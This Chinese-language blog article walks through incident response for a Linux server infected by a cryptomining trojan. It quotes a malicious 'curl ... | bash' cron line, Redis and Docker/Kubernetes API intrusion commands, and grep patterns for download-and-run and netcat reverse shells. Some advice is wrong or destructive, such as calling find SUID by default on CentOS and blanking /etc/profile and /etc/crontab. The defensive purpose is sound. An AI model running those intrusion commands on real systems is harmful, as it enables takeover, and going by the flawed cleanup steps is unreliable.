文章总结: 本文详细介绍了服务器被挖矿木马入侵后的应急响应流程,包括问题背景、常见木马家族、入侵入口、持久化机制和自恢复机制。核心原则为先断后查、先保后清,分为应急隔离、静态排查、动态排查、清理和验证五个阶段。文章提供了具体命令和判断逻辑,强调需彻底清理所有后门和自恢复点,并修复漏洞以完成闭环。 综合评分: 90 文章分类: 应急响应,恶意软件,实战经验,安全运营,漏洞分析
服务器被挖矿了?教你一步步彻底清理木马
点击关注 👉 点击关注 👉
马哥网络安全
2026年6月29日 17:00 河南
在小说阅读器读本章
去阅读
服务器被挖矿了?教你一步步彻底清理木马
一、问题背景
凌晨三点,Zabbix 告警群里弹出一条 “CPU load15 > 20”,点开 Grafana 看到 CPU 持续在 95% 以上,但 Nginx、PHP-FPM、Java 应用的 QPS 并没有涨。再 top 一看,一个 kdevtmpfsi 进程占了 380%,/proc/<pid>/cmdline 里面指向 /tmp/.X11-unix/.x,/proc/<pid>/exe 链向 /tmp/.x。登录机器一看,/var/spool/cron/root 多了一条 * * * * * curl http://.../x.sh | bash,/etc/ld.so.preload 多了一行 /usr/local/lib/libprocesshider.so。
这就是典型的挖矿木马入侵链路:Redis 6379 公网暴露 + 弱口令 → 写入 SSH 公钥或 crontab → 下载 xmrig 矿工二进制 → 起守护进程 → 拉矿池通信。整套流程从入口到挖矿可能只要几分钟。但清理它,要比入侵它麻烦得多,因为攻击者会在多个点埋下自恢复机制:crontab、systemd、init.d、bashrc、内核模块、SUID、iptables 域名劫持,任一清理不到位,下次重启就复活。
更复杂的情况是,攻击者并不只投放挖矿木马,常常会同时埋下”备用入口”:新加 SSH 公钥、写隐藏账户、改 sudoers、装 rootkit、改 ld.so.preload、留 webshell、藏反弹 shell 脚本。这意味着,挖矿木马被清理完不等于事情结束,必须做一次完整的失陷排查(compromise assessment),把所有后门一起清掉。
本文讲清楚从现象到根因到闭环的完整流程,每一步都给具体命令、具体判断逻辑、具体风险提醒、具体回滚方法。读者照着操作,能完成一次合规的应急响应。
二、适用场景
本文适用于以下应急响应场景:
-
Zabbix/Prometheus 告警主机 CPU 持续高占用,业务 QPS 未明显变化。
-
云厂商安全告警”主机存在异常外联行为”“主机存在挖矿通信”。
-
top看到
kdevtmpfsi、xmrig、kinsing、donate、monero、stratum、pool.等关键字。 -
/tmp、
/var/tmp、/dev/shm出现异常可执行文件。 -
crontab -l出现不认识的下载命令。
-
auditd报告
/etc/passwd、/etc/shadow、/usr/bin异常变更。
不适用:
- 业务自身 CPU 高(如日志批量处理、跑批任务),需要先排除业务侧。
- 主机在容器内被攻击,挖矿进程仅在容器命名空间内,需要走容器逃逸链,本文不展开。
- 已经存在 LKM rootkit(内核模块级隐藏),需要离线取证 + 重装系统,本文仅给出排查路径,不保证完整恢复。
三、核心知识点
3.1 常见挖矿木马家族
把生产环境实际遇到过的木马家族列清楚,每个家族的样本特征、矿池通信端口、典型投放路径都不一样:
-
XMRig / Monero 矿工
:命令行包含
--algo=rx/0、--pool=stratum+tcp://...、--user=<wallet>。CPU 密集型,单核或多核。 -
kdevtmpfsi
:伪装的 systemd / 内核辅助进程名,常见于 Kinsing 家族。
/proc/<pid>/exe指向/tmp/.x、/tmp/kdevtmpfsi。连接矿池端口 3333、14444、14433。 -
Kinsing
:容器内高发,投放
kdevtmpfsi矿工 + 部署 C 组 crontab。会用redis-cli、docker、kubectl等管理工具横向。 -
WatchDog
:投放
crypt、dwx、crond等命名进程,自带 watchdog 监控矿工存活。 -
Rocke
:GitHub 上的恶意 docker image 起家,后转向挖矿。
-
SystemdMiner
:伪装成 systemd 进程,看
systemctl status像系统进程。 -
Mirai 变种
:物联网/Linux 僵尸网络挖矿变种,端口扫描传播。
-
GandCrab loader / Conti loader
:勒索病毒家族,但部分 loader 阶段会先挖矿再勒索。
3.2 常见入侵入口
挖矿木马的投放入口 80% 集中在以下几类:
-
Redis 未授权访问
:6379 公网暴露 + 弱口令或无口令。攻击者通过
CONFIG SET dir /root/.ssh、CONFIG SET dbfilename authorized_keys、SET payload "<ssh 公钥>"、SAVE写 SSH 公钥;或者通过MODULE LOAD加载恶意模块(旧版本);或者通过EVAL执行 Lua 脚本(旧版本)。 -
WebLogic / Confluence / ThinkPHP RCE
:常见 Web 框架历史漏洞。攻击者上传 webshell,再
curl下载挖矿脚本。 -
SSH 弱口令
:22 端口公网暴露 + 弱口令。攻击者直接
ssh root@<ip>暴力破解。 -
Docker API 2375 未授权
:暴露
/var/run/docker.sock或 2375 端口。攻击者docker -H <ip>:2375 run -v /:/host ...起容器挂载宿主根。 -
Kubernetes API Server 8080/6443 未授权
:集群 API 暴露公网 + 匿名访问开启。攻击者
kubectl --server=<ip>:8080 run ...起特权 Pod。 -
Yarn / Hadoop / Spark 未授权
:8088/8081 端口暴露,执行任意命令。
-
应用 0day / 1day
:CMS、博客、商城系统的已知漏洞。
3.3 持久化机制
挖矿木马要长期存活,必须有持久化机制。常见持久化点:
-
crontab 用户级
:每个用户
crontab -l、/var/spool/cron/<user>、/etc/crontab、/etc/cron.d/、/etc/cron.daily/、/etc/cron.hourly/、/etc/cron.weekly/、/etc/cron.monthly/。 -
systemd 服务
:
/etc/systemd/system/、/lib/systemd/system/、/usr/lib/systemd/system/、/run/systemd/system/下的.service文件。 -
init.d 脚本
:
/etc/init.d/、/etc/rc.d/。 -
rc.local
:
/etc/rc.local、/etc/rc.d/rc.local。 -
bashrc / profile
:
/root/.bashrc、/etc/bash.bashrc、/etc/profile、/etc/profile.d/*.sh、~/.bash_profile、~/.zshrc。 -
SSH 公钥
:
/root/.ssh/authorized_keys、/home/*/.ssh/authorized_keys。 -
SUID 后门
:
/usr/bin/find、/usr/bin/vim、/usr/sbin/ping、/usr/bin/python3等被攻击者重新设置 SUID 位。 -
ld.so.preload
:
/etc/ld.so.preload加载恶意库,实现隐藏进程、文件、连接。 -
iptables / nftables 规则
:把矿池域名劫持到本地或屏蔽监控端口。
-
hosts 文件
:
/etc/hosts把矿池域名指向 127.0.0.1 或攻击者服务器。 -
内核模块(LKM rootkit)
:加载
diamorphine、reptile、suterusu等 rootkit。 -
bash 命令别名
:
alias ls='ls -al --color=auto; netstat -antp | grep <miner-pool>'。 -
替换系统二进制
:
ps、netstat、ss、top、lsof被替换为带过滤的版本,隐藏木马进程。
3.4 自恢复机制
仅仅清理持久化还不够,木马有自恢复机制:
-
多个 crontab 互相拉起
:清理
/etc/crontab后,/etc/cron.d/0hourly又拉起。 -
多个 systemd unit 互相拉起
:清理
miner.service后,miner-watchdog.service检测到后再次启动miner.service。 -
watchdog 进程
:单独起一个进程监控主进程,死了再拉。
-
iptables 阻断域名
:把矿池域名解析到错误 IP。
-
替换系统命令
:被替换的
ps、netstat不显示挖矿进程。 -
ld.so.preload 隐藏
:常规
ls、ps看不到木马文件。 -
内核模块隐藏
:rootkit 隐藏进程、网络连接、文件。
清理时必须把所有自恢复点一次性拔掉,否则会出现”清了又起、起了又清”的循环。
四、整体排查或实施思路
挖矿木马应急响应遵循”先断后查、先保后清”原则:
[阶段 1] 应急隔离
├─ 1.1 网络隔离(断外联/封 IP)
├─ 1.2 主机隔离(安全组/防火墙)
└─ 1.3 保留现场(镜像/快照/进程快照)
[阶段 2] 静态排查
├─ 2.1 进程排查(top/ps/pstree)
├─ 2.2 网络排查(ss/netstat/lsof)
├─ 2.3 文件排查(find/checksum)
├─ 2.4 持久化排查(cron/systemd/init/bashrc)
├─ 2.5 账户排查(passwd/shadow/sudoers)
├─ 2.6 SSH 公钥排查
└─ 2.7 后门排查(SUID/ld.so.preload)
[阶段 3] 动态排查
├─ 3.1 auditd 报告分析
├─ 3.2 内核模块排查
├─ 3.3 隐藏进程排查
├─ 3.4 替换命令排查
└─ 3.5 rootkit 扫描
[阶段 4] 清理
├─ 4.1 杀进程
├─ 4.2 删文件
├─ 4.3 清理持久化
├─ 4.4 修复漏洞
└─ 4.5 加固
[阶段 5] 验证与复盘
├─ 5.1 重启验证
├─ 5.2 长跑观察(72 小时)
├─ 5.3 复盘文档
└─ 5.4 监控基线更新
完整闭环:
现象 → 初步判断 → 命令检查 → 关键指标 → 根因定位 → 修复方案 → 验证结果 → 回滚预案 → 复盘总结
每一个环节都对应具体的命令、预期输出、异常表现和下一步动作。后文按这个顺序展开。
五、实战步骤
5.1 应急隔离
步骤 1:判断是否在生产核心节点
目的:决定是直接断网还是先灰度隔离。
判断逻辑:
- 主机承担关键业务(数据库主库、K8s master、网关、API 入口)→ 不能直接断网,先做安全组隔离。
- 主机是普通应用节点、worker、缓存、队列 → 可以断外网,但保留内网。
风险提醒:直接断网会导致业务瞬间不可用,必须先通知业务方。
步骤 2:网络隔离(封矿池 IP)
目的:阻止挖矿木马继续与矿池通信,减缓 CPU 占用。
命令(阻断矿池端口):
bash
iptables -I OUTPUT -p tcp --dport 3333 -j DROP
iptables -I OUTPUT -p tcp --dport 14444 -j DROP
iptables -I OUTPUT -p tcp --dport 14433 -j DROP
iptables -I OUTPUT -p tcp --dport 5555 -j DROP
iptables -I OUTPUT -p tcp --dport 7777 -j DROP
iptables -I OUTPUT -p tcp --dport 8888 -j DROP
iptables -I OUTPUT -p tcp --dport 9999 -j DROP
判断逻辑:阻断后 top 看 CPU 是否下降。如果 5 分钟内 CPU 没明显下降,可能矿池端口不止这些。
下一步动作:用 ss -tnp 或 netstat -antp 查所有 ESTABLISHED 连接,找到矿池 IP 后用 iptables -I OUTPUT -d <矿池IP> -j DROP 封掉。
步骤 3:保留现场
目的:在清理前保留证据链,避免后续排查困难。
命令(云主机快照或本地磁盘镜像):
bash
# LVM 快照(适合物理机或本地盘)
lvcreate -L 10G -s -n root_snap /dev/vg0/root
# ZFS 快照(适合 ZFS 文件系统)
zfs snapshot tank/root@snapshot_$(date +%Y%m%d%H%M%S)
# 导出进程列表
ps auxf > /tmp/incident/ps_snapshot_$(date +%Y%m%d%H%M%S).txt
pstree -ap > /tmp/incident/pstree_snapshot_$(date +%Y%m%d%H%M%S).txt
# 导出网络连接
ss -antp > /tmp/incident/ss_snapshot_$(date +%Y%m%d%H%M%S).txt
# 导出可疑文件
mkdir -p /tmp/incident/files
find /tmp /var/tmp /dev/shm /root -type f -mtime -7 -exec cp --parents {} /tmp/incident/files/ \;
判断逻辑:是否能在出问题后还原到原始状态,决定后续是否敢做”重启验证”。
风险提醒:快照会占用磁盘空间。如果磁盘已经满,需要先清理一些日志,但清理日志前必须确认是业务日志而非木马日志。
步骤 4:主机隔离(可选)
目的:阻止木马横向传播到其他主机。
命令(修改安全组或防火墙,阻断 SSH 22 端口入方向,仅放行运维 IP):
bash
iptables -I INPUT -p tcp --dport 22 -s <运维IP段> -j ACCEPT
iptables -I INPUT -p tcp --dport 22 -j DROP
风险提醒:配置错误会导致 SSH 断开。强烈建议在 console(云厂商控制台 VNC、IPMI)登录操作,而非 SSH。
5.2 进程排查
步骤 1:看 CPU 占用最高的进程
目的:定位挖矿木马主进程。
命令:
bash
top -c
top -b -n 1 -o %CPU | head -30
预期输出:
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
1234 root 20 0 1234m 123m 4m R 380.5 12.0 12:34.56 /tmp/.x -o pool.minexmr.com:4444 -u 4...
5678 www-data 20 0 234m 45m 2m S 0.5 2.0 0:01.23 nginx: worker process
判断逻辑:%CPU 接近或超过 100%(多核累加),COMMAND 指向 /tmp/.x、/tmp/kdevtmpfsi 等非常规路径的进程即高度可疑。
下一步动作:记录 PID、PPID、命令行、进程路径、运行时间、用户。
步骤 2:看进程父子关系
目的:判断挖矿进程是被谁拉起的。
命令:
bash
ps auxf
pstree -ap
ps -eo pid,ppid,user,stat,start,etime,cmd | head -30
预期输出(pstree):
systemd(1)─┬─sshd(1234)─┬─bash(5678)───curl(6000)
│ └─bash(6100)───/tmp/.x(6200)
├─crond(1500)
├─nginx(2000)─┬─nginx(2001)
│ └─nginx(2002)
判断逻辑:如果 /tmp/.x 的父进程是 bash,而 bash 的父进程是 sshd,说明攻击者通过 SSH 登录后执行的。挖矿进程可能是 bash 的子进程,也可能是独立被 systemd 拉起的服务。
步骤 3:详细查看可疑进程
目的:拿到进程的可执行文件路径、工作目录、环境变量、网络连接。
命令:
bash
PID=<1234>
ls -la /proc/$PID/exe
ls -la /proc/$PID/cwd
ls -la /proc/$PID/root
cat /proc/$PID/status | head -30
cat /proc/$PID/cmdline | tr '\0' ' '
cat /proc/$PID/environ | tr '\0' '\n'
cat /proc/$PID/maps | head -20
ls -la /proc/$PID/fd/ 2>/dev/null | head -30
预期输出:
/proc/1234/exe -> /tmp/.x
/proc/1234/cwd -> /root
/proc/1234/root -> /
...
Name: x
PPid: 1
Uid: 0
...
pool=stratum+tcp://pool.minexmr.com:4444
user=4Abc...
algo=rx/0
判断逻辑:exe 指向 /tmp/.x、/dev/shm/... 等非常规路径即为可疑。environ 中出现矿池地址、用户名、算法即为挖矿木马。
步骤 4:导出可疑进程样本
目的:用于后续病毒分析、特征提取。
命令:
bash
cp /proc/$PID/exe /tmp/incident/sample_$PID.bin
sha256sum /tmp/incident/sample_$PID.bin
file /tmp/incident/sample_$PID.bin
strings /tmp/incident/sample_$PID.bin | grep -E "(stratum|pool|monero|xmr|wallet)" | head -20
风险提醒:拷贝 exe 时必须断网,否则可能触发木马网络外联告警。
5.3 网络排查
步骤 1:查看监听端口
目的:找到可疑监听端口。
命令:
bash
ss -lntp
netstat -lntp 2>/dev/null
lsof -nP -iTCP -sTCP:LISTEN 2>/dev/null
判断逻辑:常规端口(22、80、443、3306、6379、8080)之外的监听端口可疑。例如出现 :3333、:4444、:5555、:14444 等。
步骤 2:查看 ESTABLISHED 连接
目的:找到与矿池的连接。
命令:
bash
ss -antp | grep ESTABLISHED
netstat -antp 2>/dev/null | grep ESTABLISHED
lsof -nP -iTCP -sTCP:ESTABLISHED 2>/dev/null
预期输出:
tcp ESTAB 0 0 192.168.1.100:43210 198.51.100.10:3333 users:(("x",pid=1234,fd=3))
tcp ESTAB 0 0 192.168.1.100:43211 198.51.100.10:3333 users:(("x",pid=1234,fd=4))
判断逻辑:连接到境外 IP、可疑端口的进程为挖矿木马。
下一步动作:通过 whois 198.51.100.10 或在线 IP 查询接口确认是否为矿池 IP。
步骤 3:DNS 查询记录
目的:看哪些域名被解析过(如果开启了 DNS 日志)。
命令:
bash
journalctl -u systemd-resolved --no-pager | tail -50
cat /var/log/syslog | grep -E "(query|resolve)" | tail -50
或者直接看 /etc/resolv.conf 和 /etc/hosts:
bash
cat /etc/resolv.conf
cat /etc/hosts
判断逻辑:/etc/hosts 中出现矿池域名指向错误 IP(如 127.0.0.1 或攻击者 IP),需要立即清理。
5.4 文件排查
步骤 1:找近 7 天新增的可执行文件
目的:定位挖矿木马二进制。
命令:
bash
find / -mtime -7 -type f \( -name "*.so" -o -name "*.sh" -o -perm -100 \) 2>/dev/null | head -50
find /tmp /var/tmp /dev/shm /root /home -type f -mtime -7 2>/dev/null | head -50
find / -mtime -7 -type f -size +1M 2>/dev/null | head -30
判断逻辑:/tmp、/var/tmp、/dev/shm 下的可执行文件是高危位置。带 SUID 的文件、.so 库文件都是重点。
步骤 2:查找常见挖矿木马文件名
目的:匹配已知特征。
命令:
bash
find / -type f \( -name "kdevtmpfsi" -o -name "xmrig*" -o -name "kinsing*" -o -name ".x" -o -name "dwx*" -o -name "crond" -o -name "crypt*" -o -name "donate*" -o -name "redtail*" -o -name "watchdog*" -o -name "systemd*" -o -name "kthrotlds*" \) 2>/dev/null
风险提醒:crond、systemd、kthrotlds 是与系统进程同名的伪装名,查找前要排除系统进程路径。
步骤 3:检查 ld.so.preload
目的:判断是否存在进程/文件隐藏。
命令:
bash
cat /etc/ld.so.preload 2>/dev/null
ls -la /etc/ld.so.preload 2>/dev/null
ls -la /usr/local/lib/ 2>/dev/null
ls -la /lib/x86_64-linux-gnu/ 2>/dev/null | head -30
判断逻辑:/etc/ld.so.preload 文件存在且非空即高危。/usr/local/lib/libprocesshider.so、/usr/local/lib/libsystem.so 等是常见 rootkit 文件。
步骤 4:检查系统命令是否被替换
目的:判断 ps、netstat、ss、top、lsof 是否被替换。
命令:
bash
which ps netstat ss top lsof
rpm -Vf $(which ps) 2>/dev/null
rpm -Vf $(which netstat) 2>/dev/null
dpkg -S $(which ps) 2>/dev/null
md5sum $(which ps) $(which netstat) $(which ss) $(which top) $(which lsof)
stat /bin/ps /bin/netstat /usr/bin/ss /usr/bin/top /usr/bin/lsof
ls -la /bin/ps /bin/netstat /usr/bin/ss /usr/bin/top /usr/bin/lsof
判断逻辑:包管理校验失败或 mtime 异常即被替换。CentOS 用 rpm -Vf,Debian/Ubuntu 用 dpkg -S。
风险提醒:rpm -Vf 会遍历包内所有文件,运行较慢,可能几分钟。
5.5 持久化排查
步骤 1:用户级 crontab
命令:
bash
crontab -l
crontab -u root -l
crontab -u www-data -l
crontab -u nginx -l
crontab -u mysql -l
for user in $(cut -d: -f1 /etc/passwd); do
echo "=== $user ==="
crontab -u "$user" -l 2>/dev/null
done
判断逻辑:出现 curl | bash、wget | sh、* * * * *(每分钟执行)的 crontab 为可疑。
步骤 2:系统级 crontab
命令:
bash
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
cat /var/spool/cron/*
cat /run/cron.*/crontab 2>/dev/null
cat /var/run/cron.*/crontab 2>/dev/null
find /etc/cron* -type f -mtime -7 -ls
判断逻辑:相同 /etc/cron.d/ 下出现不认识的 0hourly、0daily 等脚本,或 crontab 中出现下载命令。
步骤 3:systemd 服务
命令:
bash
systemctl list-unit-files --state=enabled
systemctl list-unit-files --state=enabled | grep -vE "(sshd|crond|network|systemd|firewalld|nginx|mysql|php-fpm|docker|kubelet|rsyslog|auditd|chronyd|ssh-agent|tmp.mount|systemd-tmpfiles)"
find /etc/systemd /lib/systemd /usr/lib/systemd /run/systemd -mtime -7 -type f
find /etc/systemd /lib/systemd /usr/lib/systemd -name "*.service" -mtime -7 -exec cat {} \;
判断逻辑:陌生 service、运行用户是 root 但服务名伪装为 systemd-*、tmp-*、cron-* 的服务可疑。
步骤 4:init.d 和 rc.local
命令:
bash
ls -la /etc/init.d/
find /etc/init.d -type f -mtime -7 -ls
cat /etc/rc.local
ls -la /etc/rc.d/ /etc/rc.d/rc*.d/
find /etc/rc.d -type f -mtime -7 -ls
判断逻辑:陌生脚本、mtime 在 7 天内的脚本可疑。
步骤 5:bashrc / profile
命令:
bash
cat /root/.bashrc
cat /etc/bash.bashrc
cat /etc/profile
ls /etc/profile.d/
for f in /etc/profile.d/*.sh; do
echo "=== $f ==="
cat "$f"
done
cat /home/*/.bashrc
cat /home/*/.bash_profile
cat /home/*/.profile
cat /home/*/.zshrc
grep -RnE "(curl |wget ).*\|.*(sh|bash)" /root /home /etc/profile /etc/profile.d/ /etc/bash.bashrc 2>/dev/null
grep -RnE "(nc |ncat |netcat ).*-e" /root /home /etc/profile /etc/profile.d/ /etc/bash.bashrc 2>/dev/null
判断逻辑:bashrc、profile.d/*.sh 中出现下载命令、反弹 shell 命令为可疑。
步骤 6:SSH 公钥
命令:
bash
cat /root/.ssh/authorized_keys
cat /home/*/.ssh/authorized_keys
find / -name "authorized_keys" -type f -ls
find / -name "*.pub" -path "*/.ssh/*" -ls
判断逻辑:陌生的 SSH 公钥(key comment 不认识)需要立即删除。
风险提醒:删除前先把当前已知公钥备份到 /tmp/known_keys.txt,避免误删运维自己的公钥导致无法登录。
步骤 7:SUID 后门
命令:
bash
find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -type f -mtime -30 -ls
find / -perm -2000 -type f 2>/dev/null
判断逻辑:常见 SUID 二进制(/bin/su、/usr/bin/sudo、/usr/bin/passwd、/usr/bin/find、/usr/bin/vim、/usr/bin/python3 等)以外的 SUID 文件,或最近 30 天 mtime 变更的 SUID 文件可疑。
风险提醒:删除 SUID 必须极其谨慎。误删 /usr/bin/sudo 的 SUID 位会导致所有 sudo 命令失败。
5.6 账户排查
步骤 1:UID 0 账户
命令:
bash
awk -F: '($3 == 0) {print}' /etc/passwd
grep -E "x:0:0" /etc/passwd
判断逻辑:除 root 外的 UID 0 账户为高危。
步骤 2:可登录账户
命令:
bash
grep -vE "(nologin|false|/bin/sync)" /etc/passwd
awk -F: '$7 != "/usr/sbin/nologin" && $7 != "/bin/false" && $7 != "/usr/bin/false" && $7 != "/sbin/nologin" {print}' /etc/passwd
判断逻辑:仅运维常用账户可登录,其他账户的 shell 应该是 /usr/sbin/nologin 或 /bin/false。
步骤 3:空密码账户
命令:
bash
awk -F: '($2 == "" || $2 == "!" || $2 == "*") {print}' /etc/shadow
awk -F: 'length($2) < 10 {print}' /etc/shadow
判断逻辑:空密码、密码字段异常的账户为可疑。
步骤 4:最近修改的账户
命令:
bash
ls -la /etc/passwd /etc/shadow /etc/group /etc/gshadow /etc/sudoers /etc/sudoers.d/
stat /etc/passwd /etc/shadow /etc/group /etc/gshadow /etc/sudoers
grep -RnE "NOPASSWD" /etc/sudoers /etc/sudoers.d/ 2>/dev/null
判断逻辑:mtime 在 7 天内的账户文件可疑。NOPASSWD: ALL 的 sudo 配置为高危。
5.7 内核模块排查
步骤 1:当前加载的内核模块
命令:
bash
lsmod
cat /proc/modules
判断逻辑:不认识的内核模块名(如 diamorphine、reptile、suterusu、hidepid、hook)可疑。
步骤 2:模块信息
命令:
bash
modinfo <module_name>
find /lib/modules/$(uname -r) -mtime -30 -type f
find /usr/lib/modules/$(uname -r) -mtime -30 -type f
判断逻辑:mtime 在 30 天内的内核模块(.ko 文件)可疑。
5.8 隐藏进程排查
步骤 1:/proc 与 ps 对比
命令:
bash
ps -ef | wc -l
ls /proc | grep -E "^[0-9]+$" | wc -l
判断逻辑:/proc 目录下的进程数应该等于或大于 ps -ef 的进程数。如果 /proc 比 ps 多很多,说明有进程被隐藏(rootkit)。
步骤 2:unhide 工具
命令:
bash
unhide proc
unhide sys
unhide brute
预期输出:
[*] Searching for hidden processes through /proc scanning
Found non-hidden PID: 1
Found non-hidden PID: 2
...
[*] Searching for hidden processes through syscall scanning
Found hidden PID: 1234
判断逻辑:unhide 比 ps 多发现的 PID 即为隐藏进程。
风险提醒:unhide 在被 rootkit 篡改的环境中可能也被劫持。建议使用 U 盘启动的 live 系统或预先准备的静态编译二进制。
步骤 3:chkrootkit 和 rkhunter
命令:
bash
chkrootkit -q
rkhunter --check --sk
预期输出(异常):
Checking `chkrootkit' version...
/usr/bin/which: Command not found
Checking 'bindshell'... INFECTED
Checking 'sniffer'... INFECTED
判断逻辑:出现 INFECTED 字样即为可疑。
风险提醒:chkrootkit 误报较多,需要结合其他工具判断。rkhunter 自带基准库,第一次运行会做基准学习。
5.9 挖矿木马清理
步骤 1:断网
目的:阻断木马的矿池通信和可能的反弹 shell。
命令:
bash
iptables -I OUTPUT -m state --state NEW -j DROP
风险提醒:这一条会阻断所有出方向新连接,包括 SSH 主动外联。强烈建议只阻断矿池端口(参考 5.1 步骤 2),而不是全局阻断。
步骤 2:杀进程
目的:停止挖矿木马运行。
命令:
bash
kill -STOP <PID>
sleep 5
kill -CONT <PID>
sleep 2
kill <PID>
sleep 3
kill -9 <PID>
判断逻辑:
- 先 SIGSTOP 让进程暂停,再 SIGCONT 验证是否能恢复(如果进程被 watchdog 拉起,会立刻恢复)。
- 再 SIGTERM 优雅退出,最后 SIGKILL 强杀。
风险提醒:必须先记录 PID 和命令行,再杀进程。如果进程被 watchdog 拉起,先找 watchdog 一起杀。
步骤 3:删除可执行文件
目的:删除挖矿木马二进制。
命令:
bash
chmod -x /tmp/.x
mv /tmp/.x /tmp/incident/sample_$(date +%Y%m%d%H%M%S).bin
sha256sum /tmp/incident/sample_*.bin
判断逻辑:先备份到 /tmp/incident/(或外部取证盘),再做后续处理。不要直接 rm -rf /tmp/*。
步骤 4:清理 crontab
命令:
bash
crontab -l > /tmp/incident/crontab_root.bak
crontab -r
echo "干净 crontab" | crontab -
for user in $(cut -d: -f1 /etc/passwd); do
crontab -u "$user" -l > /tmp/incident/crontab_${user}.bak 2>/dev/null
crontab -u "$user" -r 2>/dev/null
done
cp /etc/crontab /tmp/incident/crontab.bak
echo -n "" > /etc/crontab
rm -f /etc/cron.d/*.bak /etc/cron.d/0hourly /etc/cron.d/0daily
风险提醒:crontab -r 会清空当前用户的 crontab,必须先备份。已知业务的 crontab(数据库备份、日志切割)需要在清理后恢复。
步骤 5:清理 systemd
命令:
bash
systemctl stop <miner.service>
systemctl disable <miner.service>
mv /etc/systemd/system/<miner.service> /tmp/incident/
mv /lib/systemd/system/<miner.service> /tmp/incident/
systemctl daemon-reload
systemctl reset-failed
判断逻辑:先 stop 再 disable 再删除 unit 文件,最后 daemon-reload。
步骤 6:清理 bashrc / profile
命令:
bash
cp /root/.bashrc /tmp/incident/bashrc_root.bak
echo -n "" > /root/.bashrc
cp /etc/profile /tmp/incident/profile.bak
echo -n "" > /etc/profile
rm -f /etc/profile.d/*.sh
风险提醒:/etc/profile 和 /etc/profile.d/*.sh 在用户登录时会被执行,删除后业务账户无法设置环境变量。需要根据实际情况恢复必要配置。
步骤 7:清理 SSH 公钥
命令:
bash
cp /root/.ssh/authorized_keys /tmp/incident/authorized_keys_root.bak
echo -n "" > /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
风险提醒:删除前必须把已知运维公钥备份到 /tmp/known_keys.txt,避免误删。
步骤 8:清理 ld.so.preload
命令:
bash
cp /etc/ld.so.preload /tmp/incident/ld.so.preload.bak 2>/dev/null
echo -n "" > /etc/ld.so.preload
ldconfig
判断逻辑:ld.so.preload 被清空后,/usr/local/lib/libprocesshider.so 不再被加载,ls、ps 重新可见被隐藏的文件和进程。
风险提醒:ld.so.preload 是所有进程启动时最先加载的,清空它不会影响正在运行的进程,但新启动的进程会重新可见。
步骤 9:清理 SUID 后门
命令:
bash
chmod u-s /usr/bin/find # 取消 SUID 位(仅当该文件非系统原始 SUID)
mv /usr/bin/.find /tmp/incident/.find.bak # 删除非常规路径的可执行
风险提醒:必须确认 /usr/bin/find 是否本来就是 SUID。CentOS 默认 /usr/bin/find 是 SUID;Ubuntu 默认不是。判断方法是查看包管理数据库。
5.10 漏洞修复
步骤 1:Redis 加固
命令:
bash
cp /etc/redis/redis.conf /etc/incident/redis.conf.bak
vim /etc/redis/redis.conf
修改:
bind 127.0.0.1
protected-mode yes
port 6379
requirepass <强密码>
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""
rename-command KEYS ""
rename-command EVAL ""
生效:
bash
systemctl reload redis
redis-cli -a <强密码> ping
风险提醒:修改后必须用新密码验证 Redis 可用。rename-command 把命令清空后再调用会返回 unknown command。
步骤 2:SSH 加固
修改 /etc/ssh/sshd_config:
PasswordAuthentication no
PermitRootLogin prohibit-password
AllowGroups sshusers
Port 2222
MaxAuthTries 3
生效:
bash
sshd -t
systemctl reload sshd
风险提醒:必须先确认运维账户在 AllowGroups 列表中。先在测试环境验证,再推到生产。
步骤 3:防火墙加固
命令:
bash
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -s <运维IP段> -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -s <负载均衡IP> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -s <负载均衡IP> -j ACCEPT
iptables -A INPUT -m state --state NEW -j DROP
持久化(CentOS 7):
bash
service iptables save
systemctl enable iptables
持久化(Ubuntu):
bash
apt install iptables-persistent
netfilter-persistent save
步骤 4:Web 框架升级
参考对应框架官方文档:
- ThinkPHP:升级到最新 LTS 版本,移除不安全的控制器路由。
- Confluence:升级到最新稳定版。
- WebLogic:升级到最新 PSU。
风险提醒:升级前先备份数据库、配置文件。
5.11 重启验证
步骤 1:重启主机
命令:
bash
reboot
风险提醒:重启前确认所有清理动作已完成,重启后无法直接观察断网前进程(如果重启前还没断网,进程状态会丢失)。
步骤 2:验证进程
bash
top -c
ps auxf
ls /tmp /var/tmp /dev/shm
ls -la /etc/ld.so.preload
cat /etc/crontab
crontab -l
systemctl list-unit-files --state=enabled
判断逻辑:
-
top中没有可疑进程。
-
/tmp/.x、
/tmp/kdevtmpfsi等不存在。 -
/etc/ld.so.preload为空。
-
crontab 为空或仅含已知业务。
-
systemd 中没有陌生 service。
步骤 3:验证网络
bash
ss -antp | grep ESTABLISHED
ss -lntp
判断逻辑:没有连接到矿池 IP 的连接。
六、常用命令
6.1 进程类
bash
top -c
top -b -n 1 -o %CPU | head -30
ps auxf
pstree -ap
ps -eo pid,ppid,user,stat,start,etime,cmd
pgrep -af "kdevtmpfsi|xmrig|kinsing"
pkill -f "kdevtmpfsi|xmrig|kinsing"
6.2 进程详情
bash
PID=<1234>
ls -la /proc/$PID/exe
ls -la /proc/$PID/cwd
ls -la /proc/$PID/root
cat /proc/$PID/status
cat /proc/$PID/cmdline | tr '\0' ' '
cat /proc/$PID/environ | tr '\0' '\n'
cat /proc/$PID/maps
ls -la /proc/$PID/fd/
cat /proc/$PID/wchan
cat /proc/$PID/stack
6.3 网络类
bash
ss -lntp
ss -antp
netstat -lntp 2>/dev/null
netstat -antp 2>/dev/null
lsof -nP -iTCP -sTCP:LISTEN
lsof -nP -iTCP -sTCP:ESTABLISHED
lsof -i
tcpdump -i eth0 -nn -s 0 -w /tmp/incident/capture.pcap
tcpdump -i eth0 -nn -s 0 port 3333 or port 4444
6.4 文件类
bash
find / -mtime -7 -type f 2>/dev/null
find /tmp /var/tmp /dev/shm -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -nouser -o -nogroup 2>/dev/null
